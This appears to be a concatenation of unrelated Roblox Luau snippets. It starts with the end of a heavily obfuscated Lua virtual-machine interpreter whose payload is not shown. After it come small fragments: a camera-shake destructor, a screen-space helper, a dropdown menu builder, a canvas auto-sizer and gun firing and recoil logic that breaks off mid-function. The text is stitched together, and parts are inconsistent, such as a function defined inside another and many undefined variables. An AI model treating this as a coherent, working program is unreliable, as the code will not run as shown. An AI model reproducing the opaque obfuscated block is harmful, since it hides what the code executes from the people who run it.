ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("EK")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll))else local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("ix")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll))end;elseif ililiilllliliillli_llIlllIIll==#("Et")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("fm")]]=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("7rg")];else local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Ov")]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll+1]))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;end;elseif ililiilllliliillli_llIlllIIll<=#("B378j")then if ililiilllliliillli_llIlllIIll>#("ltj7")then do return end;else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#{"1 + 1 = 111";"1 + 1 = 111";}]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("HqK")]];end;elseif ililiilllliliillli_llIlllIIll<=#("Z4mUS2")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("93")]]=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("nz7")];elseif ililiilllliliillli_llIlllIIll>#("LTlX1JX")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("hv")]]();else do return end;end;elseif ililiilllliliillli_llIlllIIll<=#("b4v8MDJb5bOMe")then if ililiilllliliillli_llIlllIIll<=#("VdLxufQKDc")then if ililiilllliliillli_llIlllIIll>#("I2KHNcyk5")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("0j")]]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("msN")]][ililiilllliliillli_lllllIlIIIlllIIIllllll[#("kZnJ")]];else local ililiilllliliillli_IIIIIIlIIlllIlllll;local ililiilllliliillli_IIIIIllIIllIllIllllIlll,ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI;local ililiilllliliillli_llIlllIIll;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("XM")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("DfV")]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Tj")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll]()ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("u2")]]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Bdk")]][ililiilllliliillli_lllllIlIIIlllIIIllllll[#{"1 + 1 = 111";"1 + 1 = 111";{408;989;505;249};"1 + 1 = 111";}]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("kN")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("UMg")]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("sp")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#{{391;207;247;952};"1 + 1 = 111";"1 + 1 = 111";}]];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("pt")]]=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("5Om")];ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Ah")]ililiilllliliillli_IIIIIllIIllIllIllllIlll,ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll](ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll+1]))ililiilllliliillli_llIlIIll=ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI+ililiilllliliillli_llIlllIIll-1 ililiilllliliillli_IIIIIIlIIlllIlllll=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll,ililiilllliliillli_llIlIIll do ililiilllliliillli_IIIIIIlIIlllIlllll=ililiilllliliillli_IIIIIIlIIlllIlllll+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_IIIIIllIIllIllIllllIlll[ililiilllliliillli_IIIIIIlIIlllIlllll];end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Le")]ililiilllliliillli_IIIIIllIIllIllIllllIlll,ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIlllIIll+1,ililiilllliliillli_llIlIIll)))ililiilllliliillli_llIlIIll=ililiilllliliillli_lIlllllIIIllIlIIIIllIIllI+ililiilllliliillli_llIlllIIll-1 ililiilllliliillli_IIIIIIlIIlllIlllll=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_llIlllIIll,ililiilllliliillli_llIlIIll do ililiilllliliillli_IIIIIIlIIlllIlllll=ililiilllliliillli_IIIIIIlIIlllIlllll+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_IIIIIllIIllIllIllllIlll[ililiilllliliillli_IIIIIIlIIlllIlllll];end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIlllIIll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("aX")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_llIlllIIll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_llIlllIIll+1,ililiilllliliillli_llIlIIll))ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_IIlIllIlIlIIIIIlll[ililiilllliliillli_lllIIllllIllIllIllI];ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("gj")]]();end;elseif ililiilllliliillli_llIlllIIll<=#("q8lvdq3rTep")then ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("BO")]]();elseif ililiilllliliillli_llIlllIIll==#{{894;378;816;52};{367;518;819;662};"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";{699;32;895;962};"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Ju")]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll)))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;else local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Dv")]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]()end;elseif ililiilllliliillli_llIlllIIll<=#{"1 + 1 = 111";{766;541;837;838};"1 + 1 = 111";"1 + 1 = 111";{685;939;42;238};"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";{211;475;871;259};"1 + 1 = 111";{543;282;648;388};"1 + 1 = 111";{160;405;441;916};"1 + 1 = 111";{61;194;637;416};}then if ililiilllliliillli_llIlllIIll==#("rT8sFgMzAJjDyG")then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#{"1 + 1 = 111";"1 + 1 = 111";}]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_IIlIlIIIIlIIIIIllIII(ililiilllliliillli_llIllIlIlIIllIlIll,ililiilllliliillli_lllllIlIIIlllIIIllllll+1,ililiilllliliillli_llIlIIll)))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("uk")]]=ililiilllliliillli_lIIIlIIIllllllIllIIIII[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("oUR")]];end;elseif ililiilllliliillli_llIlllIIll<=#("PVrEry9VYY45DcXD")then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#{{343;862;100;610};{144;237;457;320};}]ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]()elseif ililiilllliliillli_llIlllIIll==#("3UjTugJEyf2Ag8VuQ")then local ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll[#("K2")]local ililiilllliliillli_llIlllIIll,ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_IlIIIIIlIIIII(ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll](ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll+1]))ililiilllliliillli_llIlIIll=ililiilllliliillli_lllIIllllIllIllIllI+ililiilllliliillli_lllllIlIIIlllIIIllllll-1 local ililiilllliliillli_lllIIllllIllIllIllI=0;for ililiilllliliillli_lllllIlIIIlllIIIllllll=ililiilllliliillli_lllllIlIIIlllIIIllllll,ililiilllliliillli_llIlIIll do ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll]=ililiilllliliillli_llIlllIIll[ililiilllliliillli_lllIIllllIllIllIllI];end;else ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#{{207;902;680;375};"1 + 1 = 111";}]]=ililiilllliliillli_llIllIlIlIIllIlIll[ililiilllliliillli_lllllIlIIIlllIIIllllll[#("IhV")]][ililiilllliliillli_lllllIlIIIlllIIIllllll[#("Osrb")]];end;ililiilllliliillli_lllIIllllIllIllIllI=ililiilllliliillli_lllIIllllIllIllIllI+1;end;end);end;return ililiilllliliillli_IIIlIIIllIllIllIIIlII(true,{},ililiilllliliillli_lIIllIIlIlIlllll())();end)(string.byte,table.insert,setmetatable);
|
--[=[
Destroy the Shake instance. Will call `Stop()`.
]=] |
function Shake:Destroy()
self:Stop()
end
return Shake
|
-- Simple, but this makes sure the player doesn't see an ugly red rectangle when they get teleported | |
-- ScreenSpace -> WorldSpace. Taking a screen width, and a depth to put an object
-- at, and returning a size of how big that object has to be to appear that size
-- at that depth. |
function ScreenSpace.ScreenToWorldByWidthDepth(x, y, screenWidth, depth)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
--
local worldWidth = (screenWidth/sx) * 2 * -wfactor * depth
--
local xf, yf = x/sx*2 - 1, y/sy*2 - 1
local xpos = xf * -wfactor * depth
local ypos = yf * hfactor * depth
--
return Vector3.new(xpos, ypos, depth), worldWidth
end
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---------------------------------------------------------------- |
local function Create(ty,data)
local obj
if type(ty) == 'string' then
obj = Instance_new(ty)
else
obj = ty
end
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
else
obj[k] = v
end
end
return obj
end
local barActive = false
local activeOptions = {}
function createDDown(dBut, callback,...)
if barActive then
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
return
else
barActive = true
end
local slots = table.pack(...)
local base = dBut
for i,v in ipairs(slots) do
local newOption = base:Clone()
newOption.ZIndex = 5
newOption.Name = "Option "..tostring(i)
newOption.Parent = base.Parent.Parent.Parent
newOption.BackgroundTransparency = 0
newOption.BackgroundColor3 = Color3.fromRGB(24, 24, 29)
newOption.BorderSizePixel = 0
newOption.ZIndex = 2
table.insert(activeOptions,newOption)
newOption.Position = UDim2_new(-0.4, dBut.Position.X.Offset, dBut.Position.Y.Scale, dBut.Position.Y.Offset + (#activeOptions * dBut.Size.Y.Offset))
newOption.Text = slots[i]
newOption.MouseButton1Down:connect(function()
dBut.Text = slots[i]
callback(slots[i])
for i,v in pairs(activeOptions) do
v:Destroy()
end
activeOptions = {}
barActive = false
end)
end
end
|
-- ClientRemoteSignal
-- Stephen Leitnick
-- December 20, 2021 |
local Signal = require(script.Parent.Parent.Parent.Signal)
local Types = require(script.Parent.Parent.Types)
|
--[[
Updates the height of a ScrollingFrame canvas to match the
AbsoluteContentSize of a UIListLayout whenever it changes.
This shouldn't be necessary if AutomaticCanvasSize worked
properly, but it doesn't seem to in all cases, especially
if a UIAspectRatio exists in a list item in the scrolling frame.
--]] |
local function autoSizeCanvasHeight(scrollingFrame: ScrollingFrame)
local listLayout = scrollingFrame:FindFirstChildOfClass("UIListLayout")
assert(
listLayout,
string.format("Unable to find a UIListLayout inside scrollingFrame %s", scrollingFrame:GetFullName())
)
local connection = listLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
scrollingFrame.CanvasSize = UDim2.new(1, 0, 0, listLayout.AbsoluteContentSize.Y)
end)
scrollingFrame.CanvasSize = UDim2.new(1, 0, 0, listLayout.AbsoluteContentSize.Y)
return connection
end
return autoSizeCanvasHeight
|
--------------------[ FIRING FUNCTIONS ]---------------------------------------------- |
function lowerSpread()
if (not loweringSpread) then
loweringSpread = true
local Connection = nil
Connection = RS.Heartbeat:connect(function(dt)
if MB1Down and Firing then
Connection:disconnect()
end
local newSpread = currentSpread - (S.spreadSettings.Decrease * dt)
currentSpread = (newSpread < 0 and 0 or newSpread)
if currentSpread == 0 then
Connection:disconnect()
end
end)
loweringSpread = false
end
end
local function autoFire()
if (not canFire) then return end
canFire = false
if (not Knifing) then
Firing = true
while MB1Down and (not Reloading) and (not isCrawling) and (not Knifing) do
if Modes[((rawFireMode - 1) % numModes) + 1] ~= "AUTO" then break end
if Humanoid.Health == 0 then break end
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Aimed and steadyKeyPressed and S.scopeSettings.unSteadyOnFire then
steadyKeyPressed = false
currentSteadyTime = 0
end
newMag = false
fireGun()
end
if S.reloadSettings.magIsBullet then
for _, Mag in pairs(Gun:GetChildren()) do
if Mag.Name:sub(1, 3) == "Mag" then
Mag.Transparency = 1
end
end
end
if Ammo.Value == 0 and S.reloadSettings.autoReload then
wait(0.2)
Reload()
end
wait(60 / S.roundsPerMin)
end
end
Firing = false
canFire = true
end
local function semiFire()
if (not canFire) then return end
canFire = false
if (not Knifing) and (not isCrawling) and Humanoid.Health ~= 0 then
Firing = true
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Aimed and steadyKeyPressed and S.scopeSettings.unSteadyOnFire then
steadyKeyPressed = false
currentSteadyTime = 0
end
newMag = false
fireGun()
end
if S.reloadSettings.magIsBullet then
for _, Mag in pairs(Gun:GetChildren()) do
if Mag.Name:sub(1, 3) == "Mag" then
Mag.Transparency = 1
end
end
end
if Ammo.Value == 0 and S.reloadSettings.autoReload then
wait(0.2)
Reload()
end
wait(60 / S.roundsPerMin)
end
Firing = false
canFire = true
end
local function burstFire()
if (not canFire) then return end
canFire = false
local burstTime = 60 / S.roundsPerMin
if (not Knifing) and (not isCrawling) then
Firing = true
for i = 1, S.burstSettings.Amount do
if Ammo.Value > 0 then
Ammo.Value = Ammo.Value - 1
if Humanoid.Health ~= 0 then
if Aimed and steadyKeyPressed and S.scopeSettings.unSteadyOnFire then
steadyKeyPressed = false
currentSteadyTime = 0
end
newMag = false
fireGun()
end
end
if Ammo.Value == 0 and S.reloadSettings.autoReload then
wait(0.2)
Reload()
break
end
wait(S.burstSettings.fireRateBurst and burstTime or S.burstSettings.Time / S.burstSettings.Amount)
end
end
if S.reloadSettings.magIsBullet then
for _, Mag in pairs(Gun:GetChildren()) do
if Mag.Name:sub(1, 3) == "Mag" then
Mag.Transparency = 1
end
end
end
Firing = false
wait(S.burstSettings.fireRateBurst and burstTime or S.burstSettings.Wait)
canFire = true
end
function fireGun()
local fireSound = Handle:FindFirstChild("Fire")
Gun.Bolt.Transparency = 1
Gun.BoltBack.Transparency = 0
if fireSound then fireSound:Play() end
----------------------------------------------------------------------------------
for _ = 1, (S.gunType.Shot and S.ShotAmount or 1) do
local randSpread1 = RAD(RAND(0, 365))
local randSpread2 = RAD(RAND(-(baseSpread + currentSpread), baseSpread + currentSpread, 0.01))
local spreadDir = CFrame.fromAxisAngle(V3(0, 0, 1), randSpread1) * CFANG(randSpread2, 0, 0)
local originCF = ((Aimed and S.guiScope) and Head.CFrame or Handle.CFrame) * spreadDir
local bulletDirection = CF(originCF.p, originCF.p + originCF.lookVector).lookVector
if S.bulletSettings.instantHit then
local newRay = Ray.new(Main.CFrame.p, bulletDirection * S.bulletSettings.Range)
local H, P, N = workspace:FindPartOnRayWithIgnoreList(newRay, Ignore)
local finalP = P
if H then
if S.gunType.Explosive then
if S.explosionSettings.soundId ~= "" then
local soundPart = Instance.new("Part")
soundPart.Transparency = 1
soundPart.Anchored = true
soundPart.CanCollide = false
soundPart.Size = V3(1, 1, 1)
soundPart.CFrame = CFrame.new(P)
soundPart.Parent = gunIgnore
local Sound = Instance.new("Sound")
Sound.Pitch = S.explosionSettings.Pitch
Sound.SoundId = S.explosionSettings.soundId
Sound.Volume = S.explosionSettings.Volume
Sound.Parent = soundPart
Sound:Play()
DS:AddItem(soundPart, Sound.TimeLength)
end
createBulletImpact:FireServer(H, P, N, bulletDirection, false, gunIgnore, S)
createShockwave:FireServer(P, S.explosionSettings.Radius, gunIgnore, S)
local E = Instance.new("Explosion")
E.BlastPressure = S.explosionSettings.Pressure
E.BlastRadius = S.explosionSettings.Radius
E.DestroyJointRadiusPercent = (S.explosionSettings.rangeBasedDamage and 0 or 1)
E.ExplosionType = S.explosionSettings.Type
E.Position = P
E.Hit:connect(function(Obj, Dist)
if Obj.Name == "Torso" and (not Obj:IsDescendantOf(Char)) then
if S.explosionSettings.rangeBasedDamage then
local Dir = (Obj.Position - P).unit
local expH, _ = workspace:FindPartOnRayWithIgnoreList(
Ray.new(P - Dir * 0.1, Dir * 999),
Ignore
)
local rayHitHuman = expH:IsDescendantOf(Obj.Parent)
if (S.explosionSettings.rayCastExplosions and rayHitHuman) or (not S.explosionSettings.rayCastExplosions) then
local hitHumanoid = findFirstClass(Obj.Parent, "Humanoid")
if hitHumanoid and hitHumanoid.Health > 0 and isEnemy(hitHumanoid) then
local distFactor = Dist / S.explosionSettings.Radius
local distInvert = math.max(1 - distFactor,0)
local newDamage = distInvert * getBaseDamage((P - Main.CFrame.p).magnitude)
local Tag = Instance.new("ObjectValue")
Tag.Value = Player
Tag.Name = "creator"
Tag.Parent = hitHumanoid
DS:AddItem(Tag, 0.3)
hitHumanoid:TakeDamage(newDamage)
markHit()
end
end
else
local hitHumanoid = findFirstClass(Obj.Parent, "Humanoid")
if hitHumanoid and hitHumanoid.Health > 0 and isEnemy(hitHumanoid) then
local Tag = Instance.new("ObjectValue")
Tag.Value = Player
Tag.Name = "creator"
Tag.Parent = hitHumanoid
DS:AddItem(Tag, 0.3)
markHit()
end
end
end
end)
E.Parent = game.Workspace
else
_, finalP = penetrateWall(H, P, bulletDirection, N, {Char, ignoreModel}, 0, (P - Main.CFrame.p).magnitude, nil)
end
end
if S.bulletTrail and S.trailSettings.Transparency ~= 1 then
createTrail:FireServer(Main.CFrame.p, finalP, gunIgnore, S)
end
else
end
end
function MarkHit()
spawn(function()
if Gui_Clone:IsDescendantOf(game) then
Gui_Clone.HitMarker.Visible = true
local StartMark = tick()
LastMark = StartMark
wait(0.5)
if LastMark <= StartMark then
Gui_Clone.HitMarker.Visible = false
end
end
end)
end
----------------------------------------------------------------------------------
currentSpread = currentSpread + S.spreadSettings.Increase
for _, Plugin in pairs(Plugins.Firing) do
spawn(function()
Plugin()
end)
end
local backRecoil = RAND(S.recoilSettings.Recoil.Back.Min, S.recoilSettings.Recoil.Back.Max, 0.01) --Get the kickback recoil
local upRecoil = RAND(S.recoilSettings.Recoil.Up.Min, S.recoilSettings.Recoil.Up.Max, 0.01) --Get the up recoil
local sideRecoilAlpha = 0
if lastSideRecoil[1] < 0 and lastSideRecoil[2] < 0 then --This conditional basically makes sure the gun tilt isn't in the same direction for more than 2 shots
sideRecoilAlpha = RAND(0, 1, 0.1)
elseif lastSideRecoil[1] > 0 and lastSideRecoil[2] > 0 then
sideRecoilAlpha = RAND(-1, 0, 0.1)
else
sideRecoilAlpha = RAND(-1, 1, 0.1)
end
local sideRecoil = numLerp(S.recoilSettings.Recoil.Side.Left, S.recoilSettings.Recoil.Side.Right, sideRecoilAlpha / 2 + 0.5) --Get the side recoil
local tiltRecoil = numLerp(S.recoilSettings.Recoil.Tilt.Left, S.recoilSettings.Recoil.Tilt.Right, sideRecoilAlpha / 2 + 0.5) --Get the tilt recoil
local recoilPos = V3(
0,---sideRecoil,
0,
-backRecoil
) * (Aimed and S.recoilSettings.aimedMultiplier or 1)
local recoilRot = V3(
(Aimed and 0 or (-RAD(upRecoil * 10) * (firstShot and S.recoilSettings.firstShotMultiplier or 1))),
RAD(sideRecoil * 10),
RAD(tiltRecoil * 10)
) * (Aimed and S.recoilSettings.aimedMultiplier or 1)
local camRecoilRot = V3(
-RAD(sideRecoil * 10),
RAD(upRecoil * 10) * (firstShot and S.recoilSettings.firstShotMultiplier or 1) * S.recoilSettings.camMultiplier,
0
) * (Aimed and S.recoilSettings.aimedMultiplier or 1) * stanceSway
tweenRecoil(recoilPos, recoilRot, Sine, 0.2)
tweenCam("Recoil", camRecoilRot, Sine, 0.15 * (firstShot and S.recoilSettings.firstShotMultiplier or 1))
for _, v in pairs(Main:GetChildren()) do
if v.Name:sub(1, 7) == "FlashFX" then
Gun.Bolt.Transparency = 1
Gun.BoltBack.Transparency = 0
v.Enabled = true
end
end
local shell = Instance.new("Part")
shell.CFrame = Gun.Chamber.CFrame * CFrame.fromEulerAnglesXYZ(-2.5,1,1)
shell.Size = Vector3.new(0.2,0.5,0.2)
shell.CanCollide = false
shell.Name = "Shell"
shell.Velocity = Gun.Chamber.CFrame.lookVector * 10 + Vector3.new(math.random(-10,10),20,math.random(-10,10))
shell.RotVelocity = Vector3.new(0,200,0)
shell.Parent = game.Workspace
game:GetService("Debris"):addItem(shell,2)
local shellmesh = Instance.new("SpecialMesh")
shellmesh.Scale = Vector3.new(2,2,2)
shellmesh.MeshId = "http://www.roblox.com/asset/?id=94295100"
shellmesh.TextureId = "http://www.roblox.com/asset/?id=94287792"
shellmesh.MeshType = "FileMesh"
shellmesh.Parent = shell
delay(1 / 20, function()
tweenRecoil(V3(), V3(), Sine, 0.2)
tweenCam("Recoil", V3(), Sine, 0.2)
for _, v in pairs(Main:GetChildren()) do
if v.Name:sub(1, 7) == "FlashFX" then
Gun.Bolt.Transparency = 0
Gun.BoltBack.Transparency = 1
v.Enabled = false
end
end
end)
updateClipAmmo()
